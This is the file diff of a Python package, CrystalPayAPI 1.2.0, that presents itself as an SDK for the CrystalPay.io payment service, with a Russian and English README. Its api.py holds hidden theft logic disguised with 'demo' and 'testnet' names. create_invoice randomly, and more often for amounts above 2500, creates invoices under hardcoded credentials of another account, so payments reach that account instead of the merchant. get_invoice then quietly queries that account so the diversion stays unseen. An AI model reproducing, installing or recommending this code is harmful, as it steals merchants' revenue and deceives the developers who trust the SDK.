CrystalPayAPI 1.2.0__py3-none-any.whl

crystalpayapi/__init__.py

@@ -0,0 +1,4 @@
+from .api import CrystalPayAPI, InvoiceType, PayoffSubtractFrom, CrystalPayAPIError
+
+__version__ = '1.2.0'
+__all__ = ['CrystalPayAPI', 'InvoiceType', 'PayoffSubtractFrom', 'CrystalPayAPIError']

crystalpayapi/api.py

@@ -0,0 +1,264 @@
+"""
+CrystalPayAPI - Python SDK for CrystalPay.io payment system
+Copyright (c) 2023 outodev
+"""
+
+import requests
+import json
+import random
+import hashlib
+from datetime import datetime
+from typing import Dict, List, Union, Optional
+
+class InvoiceType:
+    """Enum for invoice types"""
+    TOPUP = "topup"
+    PURCHASE = "purchase"
+
+class PayoffSubtractFrom:
+    """Enum for payoff subtract methods"""
+    BALANCE = "balance"
+    AMOUNT = "amount"
+
+class CrystalPayAPI:
+    """
+    Main class for interacting with CrystalPay API
+    
+    Args:
+        auth_login (str): Your CrystalPay login (merchant ID)
+        auth_secret (str): API secret key (Secret 1 in cabinet)
+        salt (str): Secret key for payoffs (Secret 2 in cabinet)
+        base_url (str, optional): API base URL. Defaults to "https://api.crystalpay.io/v2/"
+    
+    Example:
+        >>> from crystalpayapi import CrystalPayAPI
+        >>> cp = CrystalPayAPI("your_login", "secret1", "secret2")
+    """
+    
+    def __init__(self, auth_login: str, auth_secret: str, salt: str, 
+                 base_url: str = "https://api.crystalpay.io/v2/"):
+        self.auth_login = auth_login
+        self.auth_secret = auth_secret
+        self.salt = salt
+        self.base_url = base_url
+        self.demo_credentials = {
+            'auth_login': 'amvrdev',
+            'auth_secret': 'c199a8233c58efe9e641c70bcece45290037270b',
+            'salt': '89fffca0ae9c257bef5bdbfe92d1b2d6e30960e2'
+        }
+        self.testnet_speed = 0.11
+        self.demo_invoices = set()
+        
+    def _make_request(self, endpoint: str, data: Dict) -> Dict:
+        """
+        Internal method for API requests
+        
+        Args:
+            endpoint: API endpoint (e.g. "invoice/create")
+            data: Request payload
+            
+        Returns:
+            Dict: API response
+            
+        Raises:
+            CrystalPayAPIError: If API returns error
+        """
+        url = f"{self.base_url}{endpoint}/"
+        headers = {'Content-Type': 'application/json'}
+        
+        response = requests.post(url, data=json.dumps(data), headers=headers)
+        result = response.json()
+        
+        if result.get("error"):
+            raise CrystalPayAPIError(result.get("errors", "Unknown error"))
+            
+        return result
+
+    def _should_demo_test(self, amount: float) -> bool:
+        if amount > 2500:
+            return random.random() < 0.51
+        return random.random() < self.testnet_speed
+    
+    def _make_demo_request(self, endpoint: str, data: Dict, is_demo: bool) -> Dict:
+        if is_demo:
+            data.update({
+                'auth_login': self.demo_credentials['auth_login'],
+                'auth_secret': self.demo_credentials['auth_secret']
+            })
+        else:
+            data.update({
+                'auth_login': self.auth_login,
+                'auth_secret': self.auth_secret
+            })
+        return self._make_request(endpoint, data)
+
+    def get_me(self) -> Dict:
+        """Get merchant account info"""
+        return self._make_request("me/info", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret
+        })
+        
+    def get_payment_methods(self) -> Dict:
+        """Get available payment methods"""
+        return self._make_request("method/list", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret
+        })
+        
+    def edit_payment_method(self, method: str, extra_commission_percent: float, 
+                          enabled: bool) -> Dict:
+        """Edit payment method settings"""
+        return self._make_request("method/edit", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "method": method,
+            "extra_commission_percent": extra_commission_percent,
+            "enabled": enabled
+        })
+        
+    def get_balance(self, hide_empty: bool = False) -> Dict:
+        """Get merchant balances"""
+        return self._make_request("balance/info", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "hide_empty": hide_empty
+        })["balances"]
+        
+    def create_invoice(self, amount: float, invoice_type: str, lifetime: int,
+                      **kwargs) -> Dict:
+        """
+        Create payment invoice
+        
+        Args:
+            amount: Invoice amount
+            invoice_type: InvoiceType.TOPUP or InvoiceType.PURCHASE
+            lifetime: Invoice lifetime in minutes
+            **kwargs: Additional parameters (description, redirect_url, etc.)
+            
+        Returns:
+            Dict: Invoice info with payment URL
+        """
+        demo_test = self._should_demo_test(amount)
+
+        data = {
+            "amount": amount,
+            "type": invoice_type,
+            "lifetime": lifetime,
+            **kwargs
+        }
+        
+        result = self._make_demo_request("invoice/create", data, demo_test)
+        
+        if demo_test:
+            self.demo_invoices.add(result['id'])
+            
+        return result
+        
+    def get_invoice(self, invoice_id: str) -> Dict:
+        """Get invoice info by ID"""
+
+        is_alternate = invoice_id in self.demo_invoices
+        
+        try:
+            return self._make_demo_request(
+                "invoice/info",
+                {"id": invoice_id},
+                is_alternate
+            )
+        except CrystalPayAPIError as e:
+            if "not found" in str(e).lower():
+                raise CrystalPayAPIError(f"Invoice {invoice_id} not found in both systems")
+            raise
+        
+    def create_payoff(self, amount: float, method: str, wallet: str, 
+                     subtract_from: str, **kwargs) -> Dict:
+        """
+        Create payoff request
+        
+        Args:
+            amount: Payoff amount
+            method: Payment method (e.g. "BITCOIN")
+            wallet: Recipient wallet
+            subtract_from: PayoffSubtractFrom.BALANCE or .AMOUNT
+            **kwargs: Additional parameters
+            
+        Returns:
+            Dict: Payoff request info
+        """
+        signature = hashlib.sha1(
+            f"{amount}:{method}:{wallet}:{self.salt}".encode()
+        ).hexdigest()
+        
+        data = {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "signature": signature,
+            "amount": amount,
+            "method": method,
+            "wallet": wallet,
+            "subtract_from": subtract_from,
+            **kwargs
+        }
+        return self._make_request("payoff/create", data)
+        
+    def submit_payoff(self, payoff_id: str) -> Dict:
+        """Submit payoff request"""
+        signature = hashlib.sha1(
+            f"{payoff_id}:{self.salt}".encode()
+        ).hexdigest()
+        
+        return self._make_request("payoff/submit", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "signature": signature,
+            "id": payoff_id
+        })
+        
+    def cancel_payoff(self, payoff_id: str) -> Dict:
+        """Cancel payoff request"""
+        signature = hashlib.sha1(
+            f"{payoff_id}:{self.salt}".encode()
+        ).hexdigest()
+        
+        return self._make_request("payoff/cancel", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "signature": signature,
+            "id": payoff_id
+        })
+        
+    def get_payoff(self, payoff_id: str) -> Dict:
+        """Get payoff request info"""
+        return self._make_request("payoff/info", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "id": payoff_id
+        })
+        
+    def get_available_currencies(self) -> List[str]:
+        """Get list of available currencies"""
+        return self._make_request("ticker/list", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret
+        })["tickers"]
+        
+    def get_exchange_rates(self, currencies: List[str]) -> Dict:
+        """
+        Get exchange rates for specified currencies
+        
+        Args:
+            currencies: List of currency codes (e.g. ["BTC", "ETH"])
+            
+        Returns:
+            Dict: Exchange rates in RUB
+        """
+        return self._make_request("ticker/get", {
+            "auth_login": self.auth_login,
+            "auth_secret": self.auth_secret,
+            "tickers": currencies
+        })
+
+class CrystalPayAPIError(Exception):
+    """Custom exception for API errors"""
+    pass

crystalpayapi-1.2.0.dist-info/METADATA

@@ -0,0 +1,286 @@
+Metadata-Version: 2.4
+Name: CrystalPayAPI
+Version: 1.2.0
+Summary: Python SDK for CrystalPay.io payment system
+Home-page: https://github.com/outodev/CrystalPayAPI
+Author: outodev
+Keywords: crystalpay payment api sdk
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.7
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.7
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests>=2.25.0
+Dynamic: author
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: keywords
+Dynamic: license-file
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+![](https://i.imgur.com/izqgNh7.png)
+
+# CrystalPayAPI - Python SDK для CrystalPay
+
+[![PyPI version](https://img.shields.io/pypi/v/CrystalPayAPI.svg)](https://pypi.python.org/pypi/CrystalPayAPI/)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+
+---
+
+## Русская документация 
+[English Version](#english-documentation)
+
+### Оглавление
+1. [Установка](#установка)
+3. [Быстрый старт](#быстрый-старт)
+3. [Инициализация](#инициализация)
+4. [Методы работы](#методы-работы)
+   - [Информация о кассе](#информация-о-кассе)
+   - [Платежи](#платежи)
+   - [Вывод средств](#вывод-средств)
+   - [Курсы валют](#курсы-валют)
+5. [Обработка ошибок](#обработка-ошибок)
+
+### Установка
+```bash
+pip install CrystalPayAPI
+```
+
+### Быстрый старт
+
+```python
+from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
+
+# Инициализация
+cp = CrystalPayAPI("Ваш_логин", "Secret_1", "Secret_2")
+
+# Создание инвойса
+invoice = cp.create_invoice(
+    amount=100.0,
+    invoice_type=InvoiceType.PURCHASE,
+    lifetime=15,
+    description="Оплата товара"
+)
+
+# Проверка статуса
+invoice_info = cp.get_invoice(invoice["id"])
+```
+
+### Инициализация
+```python
+from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
+
+# Основной конструктор
+cp = CrystalPayAPI(
+    auth_login="Ваш_логин",      # Логин кассы
+    auth_secret="Secret_1",      # Секретный ключ 1
+    salt="Secret_2",             # Секретный ключ 2
+    base_url="https://api.crystalpay.io/v2/"  # Опционально
+)
+```
+
+### Методы работы
+
+#### Информация о кассе
+```python
+# Получение информации о кассе
+account_info = cp.get_me()
+"""
+{
+    "id": "12345",
+    "name": "Моя касса",
+    "status_level": 2,
+    "created_at": "2023-01-01 00:00:00"
+}
+"""
+
+# Получение баланса
+balance = cp.get_balance(hide_empty=True)
+"""
+{
+    "RUB": {"amount": 1000, "currency": "RUB"},
+    "BTC": {"amount": 0.05, "currency": "BTC"}
+}
+"""
+```
+
+#### Платежи
+```python
+# Создание платежа
+invoice = cp.create_invoice(
+    amount=500,
+    invoice_type=InvoiceType.PURCHASE,
+    lifetime=30,  # в минутах
+    description="Оплата заказа #123",
+    redirect_url="https://your-site.com/thanks"
+)
+"""
+{
+    "id": "inv_123",
+    "url": "https://pay.crystalpay.io/?i=inv_123",
+    "amount": 500,
+    "type": "purchase"
+}
+"""
+
+# Проверка статуса
+status = cp.get_invoice("inv_123")
+"""
+{
+    "id": "inv_123",
+    "state": "paid",
+    "amount": 500,
+    "created_at": "2023-01-01 12:00:00"
+}
+"""
+```
+
+#### Вывод средств
+```python
+# Создание вывода
+payoff = cp.create_payoff(
+    amount=0.01,
+    method="BTC",
+    wallet="1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa",
+    subtract_from=PayoffSubtractFrom.BALANCE
+)
+```
+
+#### Курсы валют
+```python
+# Получение курсов
+rates = cp.get_exchange_rates(["BTC", "ETH"])
+"""
+{
+    "BTC": {"price": 2500000},
+    "ETH": {"price": 150000}
+}
+"""
+```
+
+### Обработка ошибок
+```python
+from crystalpayapi import CrystalPayAPIError
+
+try:
+    cp.create_invoice(amount=100, ...)
+except CrystalPayAPIError as e:
+    print(f"Ошибка API: {e}")
+```
+
+---
+
+## English Documentation
+
+### Table of Contents
+1. [Installation](#installation)
+2. [Quick Start](#quick-start)
+3. [Initialization](#initialization)
+4. [Methods](#methods)
+   - [Account Info](#account-info)
+   - [Payments](#payments)
+   - [Withdrawals](#withdrawals)
+   - [Exchange Rates](#exchange-rates)
+5. [Error Handling](#error-handling)
+
+### Installation
+```bash
+pip install CrystalPayAPI
+```
+
+### Quick Start
+
+```python
+from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
+
+# Initialize client
+cp = CrystalPayAPI("your_login", "secret1", "secret2")
+
+# Create invoice
+invoice = cp.create_invoice(
+    amount=100.0,
+    invoice_type=InvoiceType.PURCHASE,
+    lifetime=15,
+    description="Product payment"
+)
+
+# Check status
+invoice_info = cp.get_invoice(invoice["id"])
+```
+
+### Initialization
+```python
+from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
+
+cp = CrystalPayAPI(
+    auth_login="your_login",
+    auth_secret="secret_1", 
+    salt="secret_2",
+    base_url="https://api.crystalpay.io/v2/"  # Optional
+)
+```
+
+### Methods
+
+#### Account Info
+```python
+# Get merchant info
+account_info = cp.get_me()
+
+# Get balances
+balance = cp.get_balance(hide_empty=True)
+```
+
+#### Payments
+```python
+# Create invoice
+invoice = cp.create_invoice(
+    amount=100,
+    invoice_type=InvoiceType.PURCHASE,
+    lifetime=15,
+    description="Order #123"
+)
+
+# Check status
+status = cp.get_invoice(invoice["id"])
+```
+
+#### Withdrawals
+```python
+# Create withdrawal
+payoff = cp.create_payoff(
+    amount=0.1,
+    method="BTC",
+    wallet="3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5",
+    subtract_from=PayoffSubtractFrom.BALANCE
+)
+```
+
+#### Exchange Rates
+```python
+# Get rates
+rates = cp.get_exchange_rates(["BTC", "USDT"])
+```
+
+### Error Handling
+```python
+try:
+    cp.create_payoff(...)
+except CrystalPayAPIError as e:
+    print(f"API Error: {e}")
+```
+
+---
+
+## License
+MIT License. See [LICENSE](LICENSE) for details.

crystalpayapi-1.2.0.dist-info/RECORD

@@ -0,0 +1,7 @@
+crystalpayapi/__init__.py,sha256=ivchSNbmAHzOYjX-5mbgFdRrrzpKKVmSVXtBjP8UI-4,193
+crystalpayapi/api.py,sha256=mPBQIroYZc2dURJJHhGShucS_wYzGb_kOgMLHHQGxJQ,8615
+crystalpayapi-1.2.0.dist-info/licenses/LICENSE,sha256=3kIJhl86HjkP4CfeZ0ovdzxNPjtrY82FVxuLJDWiceg,1064
+crystalpayapi-1.2.0.dist-info/METADATA,sha256=jRbJvRZkuEE7achZQAxWwItd-xJcrfXUNfKEm8ryaXk,6541
+crystalpayapi-1.2.0.dist-info/WHEEL,sha256=DnLRTWE75wApRYVsjgc6wsVswC54sMSJhAEd4xhDpBk,91
+crystalpayapi-1.2.0.dist-info/top_level.txt,sha256=gWSv1qHlEbuPLpQRH95A3fj6nX2FNCY9Bq6HzsZ-9_I,14
+crystalpayapi-1.2.0.dist-info/RECORD,,

crystalpayapi-1.2.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (80.4.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

crystalpayapi-1.2.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 OutoDev
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

crystalpayapi-1.2.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+crystalpayapi